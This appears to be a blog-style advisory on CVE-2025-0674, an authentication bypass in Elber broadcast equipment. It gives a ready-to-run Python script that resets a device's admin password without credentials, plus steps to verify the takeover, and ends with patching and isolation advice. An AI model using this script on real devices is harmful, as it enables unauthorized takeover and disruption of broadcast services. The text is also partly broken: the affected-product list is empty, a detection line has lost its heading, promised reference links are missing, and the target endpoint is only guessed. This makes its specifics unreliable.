Overview

A dangerous vulnerability, now cataloged as CVE-2025-0674, has been discovered in multiple Elber devices. The bug allows attackers to bypass authentication mechanisms and access the password management interface without ever needing valid credentials. By exploiting this flaw, anyone on the same network (or even remotely, depending on setup) could reset passwords for any user—including admin accounts—letting them seize total control of the device.

In this article, we'll break down how the vulnerability works, show step-by-step how it can be exploited, provide code examples, and offer some original reference links for further reading.

What Elber Devices Are Affected?

Elber is known for manufacturing broadcasting and networking equipment. Several of their products, especially those with web management interfaces released before *mid 2025*, are reported to be at risk. The most common products mentioned include:

What’s the Security Flaw?

On the vulnerable systems, the web-based login portal doesn’t properly check if the user is authenticated on the password management page (/admin/password/ or similar endpoint).

Anyone can POST a new password for any account by sending a specially-crafted request, even if they aren’t logged in. This is called *authentication bypass*.

Code Snippet: Exploit Example

Here’s a simple Python snippet using the popular requests library. This code demonstrates how an attacker could reset the admin password to hacked123 without knowing the old password.

import requests

# Target device's IP (change this)
target_ip = "192.168.1.100"

# Target endpoint (guess based on firmware documentation or scan responses)
endpoint = f"http://{target_ip}/admin/password/";

# Data to change password for 'admin' user to 'hacked123'
payload = {
    "username": "admin",
    "new_password": "hacked123"
}

# No authentication is needed!
resp = requests.post(endpoint, data=payload)

if resp.status_code == 200:
    print("[+] Password changed successfully!")
else:
    print(f"[-] Failed... Status code: {resp.status_code}")

You can verify takeover by logging in at the web interface using admin:hacked123 after sending this request.

Note: On some models, the endpoint is /password_change/ or similar—always check device documentation or use a tool like Burp Suite to trace requests.

Real-World Impact

- Total Admin Access: Attackers can get full administrative control, export config files, and even brick the device.
- Network Risks: With access, someone could use the device as a pivot point for launching attacks against the rest of your network.
- Service Outage: Changing credentials or misconfiguring transmissions could knock out TV/radio broadcasts powered by Elber equipment.

Unexplained new accounts or permission changes.

Check the device’s web access logs for strange requests to /admin/password/ or related endpoints coming from outside your admin’s usual IP addresses.

Mitigation & Fixes

- Update Firmware: Elber has released firmware updates closing this hole. Apply patches immediately.
- Isolate Management: Don’t expose device web interfaces to the internet. Use firewalls to restrict access to trusted admin IPs only.

Final Thoughts

The severity of CVE-2025-0674 can’t be understated. This is one of those rare “no skill required” bugs that can be automated and exploited en masse. If you have any Elber equipment, check your firmware version, hunt for evidence of compromise, and patch without delay.
